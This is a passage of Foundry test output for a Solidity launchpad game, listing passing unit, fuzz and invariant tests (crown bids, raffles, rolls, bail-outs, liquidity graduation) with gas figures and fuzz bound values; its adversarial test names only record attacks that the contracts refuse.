(gas: 10559186)\n[PASS] test_resolveBatchClampsToSixteenAndLowGasStopsSafely() (gas: 20081493)\n[PASS] test_tenBlocksPerSecondSixtySecondRollerNeverExpiresWithResolver() (gas: 6247185)\n[PASS] test_upkeepSeedBountyGoesToCallerAndNotPad() (gas: 1954106)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 56.98ms (13.63ms CPU time)\n\nRan 7 tests for test/AuditV3.t.sol:AuditV3KingTest\n[PASS] test_failedPoolRequiresThreeDistinctL2BlocksThenAnyoneCanRecoverIt() (gas: 2706876)\n[PASS] test_failedSettlementRollsBackEarlierHealthyPoolPayments() (gas: 7009368)\n[PASS] test_firstCrownAlsoRejectsUnlockedManager() (gas: 407079)\n[PASS] test_gasStarvedBidRevertsWithoutChangingCrownOrPoolHealth() (gas: 1191611)\n[PASS] test_outgoingKingGetsLargeTokenFeesInKindAndNextKingGetsNoStash() (gas: 2473172)\n[PASS] test_sixteenPoolsBothCurrenciesAndGasEatingKingFitSettlementBudget() (gas: 10142833)\nLogs:\n  16 real pools both currencies, rejecting king, bid gas used: 4797834\n\n[PASS] test_unlockCallbackCannotTakeCrownOrDistribute() (gas: 1936490)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 142.82ms (118.14ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 2094616)\n[PASS] test_claimableWinner() (gas: 2922826)\n[PASS] test_conservationOfEth() (gas: 5969442)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 43172)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2431822)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2488411)\n[PASS] test_deathAndAllDeadEnd() (gas: 1963143)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1611408)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2559599)\n[PASS] test_failedPushBecomesClaimable() (gas: 1610053)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5510162)\n[PASS] test_finalizeRanksAndPays() (gas: 4860040)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1831181)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 120469668)\n[PASS] test_finalizerFeeCapped() (gas: 12815260)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1874647)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 374110)\n[PASS] test_fundPotOnlyPad() (gas: 44007)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 21424504)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3682735)\n[PASS] test_graduateOnlyFromGame() (gas: 73134)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 8315935)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1572377)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 4224379)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9776884)\n[PASS] test_resolveBatchIncludesTenRolls() (gas: 7504204)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2430935)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1979237)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1907201)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1811569)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1489322)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1420938)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 3221132)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1576396)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 3109340)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 173.28ms (128.35ms CPU time)\n\nRan 6 tests for test/AuditV3CarryUpkeep.t.sol:AuditV3CarryUpkeepTest\n[PASS] test_fiveWalletCarryChainOnlyPullsUnusedCapAtFinalize() (gas: 49714295)\n[PASS] test_fiveWalletNoRollChainNeverTakesCarry() (gas: 5334641)\n[PASS] test_ownGasEstimateEntryAndRollWithForeignDraw() (gas: 987189)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 187792\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignFinalize() (gas: 1021207)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_ownGasEstimateEntryAndRollWithForeignGraduate() (gas: 1021573)\nLogs:\n  own entry gas limit: 185957\n  own roll gas limit: 191464\n\n[PASS] test_upkeepSubcallCanExhaustItsFullStipendWithoutRevertingEntry() (gas: 50674880)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 375.72ms (361.43ms CPU time)\n\nRan 20 tests for test/V4Edges.t.sol:V4EdgesTest\n[PASS] testFuzz_bailPayoutFormulaAndCurveLedger(uint8,uint8,uint96) (runs: 256, μ: 4982912, ~: 4607209)\nLogs:\n  Bound result 1\n  Bound result 986050982904027\n\n[PASS] test_bailOutRefusedAfterBellAndAfterHardEnd() (gas: 2375354)\n[PASS] test_bailOutRefusedAtHardEndEvenWithLiveActivity() (gas: 5210240)\n[PASS] test_bandStallDoesNotConsumeIntervalAndArbitrageReopensItInTheSameBlock() (gas: 3595313)\n[PASS] test_burnSecondHopRunsOnLeftoverIMDWhenTheBucketIsEmpty() (gas: 3334724)\n[PASS] test_burnWithDryIMDVenueSpendsNothingAndKeepsTheBucket() (gas: 3145284)\n[PASS] test_chunkStopsExactlyAtTheLimitAndArbitrageBetweenChunksRefillsThem() (gas: 71383416)\n[PASS] test_directGraduateBeforeConversionRevertsWithoutLeavingAnEscrow() (gas: 2915002)\n[PASS] test_dryVenueAfterPartialProgressFallsBackWithPartialIMD() (gas: 70821445)\n[PASS] test_erasedSeatOneBelowCapNeverRingsTheBell() (gas: 2430778)\n[PASS] test_everySeatBailingOutEndsTheGameAtOnceAndFailsGraduation() (gas: 3869766)\n[PASS] test_expiredPendingRollOfErasedSeatPaysTipToPotWithNoEffect() (gas: 2680351)\n[PASS] test_heldStallForTwentyFourHoursGraduatesNativeWhenNoIMDWasEverConverted() (gas: 7919236)\n[PASS] test_heldStallIsFollowedByAnchorDecayWithinHoursNotMinutes() (gas: 3401770)\n[PASS] test_kingSplitIgnoresGameWithErasedSeatBelowFive() (gas: 5007969)\n[PASS] test_kingThatRejectsETHStillReceivesIMDAndCoinsInKind() (gas: 4004448)\n[PASS] test_lastChunkFillsCompletelyBelowTheLimitAndClosesTheEscrow() (gas: 2310677)\n[PASS] test_prepareConversionGatesAndIsIdempotent() (gas: 3775804)\n[PASS] test_seatedWalletWithoutCoinsBailsForZeroAndMinOutOneReverts() (gas: 2681130)\n[PASS] test_strangerCannotStartOrCloseAnEscrowAndGraduateRejectsValue() (gas: 2189537)\nSuite result: ok. 20 passed; 0 failed; 0 skipped; finished in 375.92ms (451.17ms CPU time)\n\nRan 1 test for test/V3CarryProperties.t.sol:V3CarryPropertiesTest\n[PASS] testFuzz_onlyUnusedReleaseAllowanceLeavesCarryAtFinalization(uint256,uint256,uint256) (runs: 128, μ: 10868965, ~: 11418544)\nLogs:\n  Bound result 0\n  Bound result 54570121555562140\n  Bound result 452421949995271122\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 430.35ms (386.43ms CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 35383)\n[PASS] test_crownPrecollectsAllEighteenPools() (gas: 19671100)\nLogs:\n  takeCrown gas, eighteen real pools: 2832620\n\n[PASS] test_failedDistributorBlocksCrown() (gas: 16251002)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 22570562)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 16942048)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 15916508)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 8928858)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 10761875)\n[PASS] test_realTradingTokenFeesPaidInKindWithoutSwap() (gas: 16638603)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 892.81ms (1.32s CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 86197171, ~: 82235356)\nLogs:\n  Bound result 245\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2733787)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 12221012)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 71095333)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4855382)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 52872861)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.05s (1.07s CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryStaysInPadEvenAfterFiveSeats() (gas: 20554093)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 26557206)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 17003)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 16774070)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 17688731)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 8545309)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 18277869)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 399450000000000000\n  dump proceeds: 259263336672922359\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 16413543)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 16361472)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.21s (307.22ms CPU time)\n\nRan 7 tests for test/CrownSettlement.t.sol:CrownSettlementTest\n[PASS] test_bidderCannotSteerCursorToDivertReignFees() (gas: 6342863)\n[PASS] test_brokenPoolSkippedByTwoCrownsPaysTheEarliestUnsettledReign() (gas: 2380144)\n[PASS] test_extraBidGasSettlesMorePoolsInOneBid() (gas: 19834040)\nLogs:\n  takeCrown gas, sixty real pools fully settled: 7812490\n\n[PASS] test_firstCrownOpensNoReignAndPaysPreCrownFeesToTheFirstKing() (gas: 713271)\n[PASS] test_nonKingCannotSettleOrCloseAReign() (gas: 467713)\n[PASS] test_poolsBeyondTheBidGasStayOwedToTheOutgoingKing() (gas: 23943849)\nLogs:\n  pools settled by a minimum-gas bid, sixty real pools: 40\n\n[PASS] test_settlementRevertsBelowSixteenPoolsAndSucceedsAbove() (gas: 6040343)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 1.21s (2.37s CPU time)\n\nRan 32 tests for test/V4Pad.t.sol:V4PadTest\n[PASS] testFuzz_bailSequencesConserveETHAndSupply(uint8,uint8) (runs: 64, μ: 10359851, ~: 9114756)\nLogs:\n  Bound result 3\n\n[PASS] testFuzz_sandwichOnConversionChunkLoses(uint96) (runs: 64, μ: 70751516, ~: 70735956)\nLogs:\n  Bound result 59999900000000004224\n\n[PASS] test_IMDDonationsDoNotChangeConversionCreditOrGraduationPrice() (gas: 2876123)\n[PASS] test_anchorBandBoundsCumulativeWalkAndDecaysForAGenuineMove() (gas: 70132248)\n[PASS] test_bailAfterActualSellOutReopensCurveAndCostCountsOnlySpentETH() (gas: 5445229)\n[PASS] test_bailOnlyDuringPlayAndOnlySeatedWallets() (gas: 3467248)\n[PASS] test_bailOutProfitLossMinOutAndConservation() (gas: 3135572)\n[PASS] test_bothCurrencyOrdersGraduateAndPayTheCorrectKingAssets() (gas: 7729882)\n[PASS] test_constructorPoolIdRejectsChangedVenueFields() (gas: 3250880)\n[PASS] test_conversionAccessAndConstructorKeyValidation() (gas: 1091965)\n[PASS] test_conversionLimitIntervalPartialFillAndEscrow() (gas: 70348878)\n[PASS] test_deadWalletMayBailWhileAnotherLivesAndErasedActivityDoesNotDelayEnd() (gas: 3137961)\n[PASS] test_dustFillsDoNotRefreshTheStallClock() (gas: 71191176)\n[PASS] test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip() (gas: 4806038)\n[PASS] test_exactIMDKeyAndEmptyApplicationDeployment() (gas: 67801)\n[PASS] test_failedVenueAttemptDoesNotConsumeInterval() (gas: 69945997)\n[PASS] test_graduationPriceEquivalentAndUnlocksInSameTransaction() (gas: 4635273)\n[PASS] test_heldFrontRunAcrossAllChunksIsRefusedAndLoses() (gas: 86368065)\n[PASS] test_kingCollectsIMDAndCoinsInKindAcrossCrown() (gas: 4704393)\n[PASS] test_largeRawTokenRatioDoesNotOverflowPriceEncoding() (gas: 6853)\n[PASS] test_lowGasProbeCannotConsumeConversionInterval() (gas: 69933121)\n[PASS] test_nestedUnlockCallerIsRejectedAndHonestChunkConverts() (gas: 70341266)\n[PASS] test_noReturnIMDStillSettlesGraduationBurnAndFees() (gas: 3296683)\n[PASS] test_partial24HourFallbackUsesIMDAndCarriesOnlyRemainingETH() (gas: 70747641)\n[PASS] test_realProgressAboveFloorRefreshesClockButSevenDayCapBounds() (gas: 72089555)\n[PASS] test_rejectedBailPaymentRemainsClaimableAndCannotBePaidTwice() (gas: 1849234)\n[PASS] test_soleBuyerSybilWithProfitableBailAndFiveSurvivorsStillLosesAfterTwoHopDump() (gas: 83861581)\nLogs:\n  Sybil net curve ETH after bailout: 433763283181329605\n  Sybil loss excluding entries and gas: 116818580362673557\n\n[PASS] test_twoGamesKeepIndependentConversionEscrows() (gas: 160638984)\n[PASS] test_twoHopBurnBothPriceLimitsIntervalAndIntermediateAccounting() (gas: 3325062)\nLogs:\n  Two-hop burn gas: 284553\n\n[PASS] test_untouchedGameStartsItsClockOnFirstTouchAndGraduatesIntoIMD() (gas: 2724784)\n[PASS] test_upkeepConvertsAndGraduatesWithBoundedGas() (gas: 70788305)\nLogs:\n  Conversion upkeep gas: 502982\n\n[PASS] test_zeroLiquidityChunksDoNotExtendTimeout() (gas: 2965150)\nSuite result: ok. 32 passed; 0 failed; 0 skipped; finished in 2.03s (3.31s CPU time)\n\nRan 5 tests for test/V3FailureEdges.t.sol:V3GameFailureEdgesTest\n[PASS] testFuzz_everyResolutionWindowOffsetPreservesTheTip(uint256) (runs: 1000, μ: 1743247, ~: 1751628)\nLogs:\n  Bound result 224\n\n[PASS] test_drawBountyCallbackCannotCaptureAgainOrAdvanceExtraSeats() (gas: 2069423)\n[PASS] test_finalizeBatchFailureRollsBackTipsAndPartialResolutionUntilPermissionlessProgress() (gas: 43252180)\n[PASS] test_optionalDistributeAndBurnMayBothExhaustCapsWithoutRevertingEntryOrRoll() (gas: 3686726)\nLogs:\n  entry with both liquidity upkeep stipends exhausted: 1354021\n  roll with both liquidity upkeep stipends exhausted: 1453752\n\n[PASS] test_resolverDebtSurvivesFinalizationGraduationAndRejectedClaim() (gas: 3118816)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 2.06s (2.07s CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 16352042, ~: 16352048)\nLogs:\n  Bound result 19990000000000006448\n  Bound result 2040306995628688352\n  Bound result 1848\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 16657597, ~: 16657626)\nLogs:\n  Bound result 19990000000000001596\n  Bound result 38011000000000063781\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 18397485, ~: 15715321)\nLogs:\n  Bound result 3\n  Bound result 876699592022354930\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 16219096, ~: 16219113)\nLogs:\n  Bound result 49990000000001600001\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 12761704, ~: 11947964)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 3454570121562513374\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37797, ~: 37819)\nLogs:\n  Bound result 8192\n  Bound result 350001\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21798, ~: 21373)\nLogs:\n  Bound result 99999999999999999998\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 38399, ~: 38570)\nLogs:\n  Bound result 404284521931462223\n  Bound result 3055766169896858080\n  Bound result 3888467660267248490\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 15391196, ~: 14912654)\nLogs:\n  Bound result 7\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.06s (10.46s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 86)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 99    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 87    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 86    | 86      | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 120   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 192   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 92    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 207   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 20421\n  Bound result 2995000000000000064\n  Bound result 376138608389625840\n  Bound result 6302\n  Bound result 12729\n  Bound result 415\n  Bound result 11\n  Bound result 320\n  Bound result 90\n  Bound result 1994836\n  Bound result 8\n  Bound result 91\n  Bound result 2995000001383437905\n  Bound result 44\n  Bound result 4\n  Bound result 1\n  Bound result 0\n  Bound result 1178955167727565423\n  Bound result 0\n  Bound result 14\n  Bound result 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.57s (2.51s CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 24452950, ~: 20320333)\nLogs:\n  Bound result 200\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116648048)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2668339\n  5000-entry draw total gas: 16251823\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 54974464)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 416944)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 627657)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8816525)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1191552)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 5167926)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 662009)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 705225)\n[PASS] test_lapsedCommitFallsBackOnceAndNeverRecommits() (gas: 51600037)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 526724)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 52207655)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 96953273)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1930675)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 2.73s (5.62s CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 10289307)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 11124939)\n[PASS] test_claimNothingReverts() (gas: 8017976)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9655)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 16595454)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 19679082)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 26604937)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 9464231)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 10426739)\n[PASS] test_failedGenesisRelaunchLeavesCarryInPad() (gas: 11985982)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 133056490)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 4091664\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 36633261)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 23220185)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 20082667)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 9328730)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 10235915)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 7924807)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9199)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 9365206)\n[PASS] test_launchViewsRejectIdZero() (gas: 33188)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 9580459)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 16929284)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 16466552)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 15571303)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78100)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 7836249)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 7878374)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 28396357)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 16878460)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 17119714)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 10833214)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 9651231)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 15851659)\n[PASS] test_singleLivingImpTakesEverything() (gas: 12081708)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 9306781)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 15901314)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 2.73s (1.04s CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107524)\n[PASS] test_bindingsAreOneShot() (gas: 87569)\n[PASS] test_carryPotStaysThroughNextDraw() (gas: 18306100)\n[PASS] test_closedPadRevertsEverything() (gas: 103611)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 719358)\n[PASS] test_deployGasUnderBudget() (gas: 19942)\n[PASS] test_deployHookOnlyByPad() (gas: 33191)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 19458014)\n[PASS] test_fundGamesOnlyKing() (gas: 39546)\n[PASS] test_hookRejectsForeignInitialize() (gas: 7965257)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 16535511)\n[PASS] test_launchValidatesStrings() (gas: 15836139)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 7835641)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 7869409)\n[PASS] test_openPadOnlyOnce() (gas: 7907774)\n[PASS] test_openPadRejectsBadSalt() (gas: 203584)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 7135355)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 8262387)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 37974902)\n[PASS] test_templatesCannotBeInitialized() (gas: 8006246)\n[PASS] test_upkeepForOnlyGames() (gas: 8058562)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 2.74s (491.60ms CPU time)\n\nRan 1 test for test/V3KingFeesInvariant.t.sol:V3KingFeesInvariantTest\n[PASS]\nV3KingFeesInvariantTest invariants:\n[PASS] invariant_eachReignKeepsItsETHAndTokensIncludingRejectedPayments\n[PASS] invariant_realV4FeesAndBidsConserveETH\n V3KingFeesInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭----------------------+------------+-------+---------+----------╮\n| Contract             | Selector   | Calls | Reverts | Discards |\n+================================================================+\n| KingFeeLedgerHandler | bid        | 1596  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | claim      | 1656  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | distribute | 1594  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | donate     | 1674  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | starveBid  | 1672  | 0       | 0        |\n╰----------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 1000000000000000\n  Bound result 100000000000000000000\n  Bound result 16\n  Bound result 0\n  Bound result 500000\n  Bound result 5400301\n  Bound result 5275559\n  Bound result 9658\n  Bound result 200000\n  Bound result 20805662729570\n  Bound result 1000000000000\n  Bound result 27752659550462\n  Bound result 8\n  Bound result 100\n  Bound result 70000000000000000\n  Bound result 5400023\n  Bound result 94210890951955\n  Bound result 5409325\n  Bound result 1224162\n  Bound result 5414874\n  Bound result 14352\n  Bound result 52547\n  Bound result 5413035\n  Bound result 5411001\n  Bound result 5\n  Bound result 11545\n  Bound result 100003\n  Bound result 5400541\n  Bound result 3613801\n  Bound result 9313\n  Bound result 22\n  Bound result 7477639625207\n  Bound result 11420034794857588702217\n  Bound result 16683\n  Bound result 16416\n  Bound result 11285\n  Bound result 5496298\n  Bound result 3545\n  Bound result 33\n  Bound result 154087980144090\n  Bound result 20178299161109534851891\n  Bound result 14\n  Bound result 1800000000\n  Bound result 10214\n  Bound result 1507695\n  Bound result 10000\n  Bound result 3302\n  Bound result 5215776\n  Bound result 39999999999999\n  Bound result 55619632766004\n  Bound result 5400051\n  Bound result 31\n  Bound result 54980422770525\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.41s (3.37s CPU time)\n\nRan 1 test for test/V4BailConversionInvariant.t.sol:V4BailConversionInvariantTest\n[PASS]\nV4BailConversionInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] 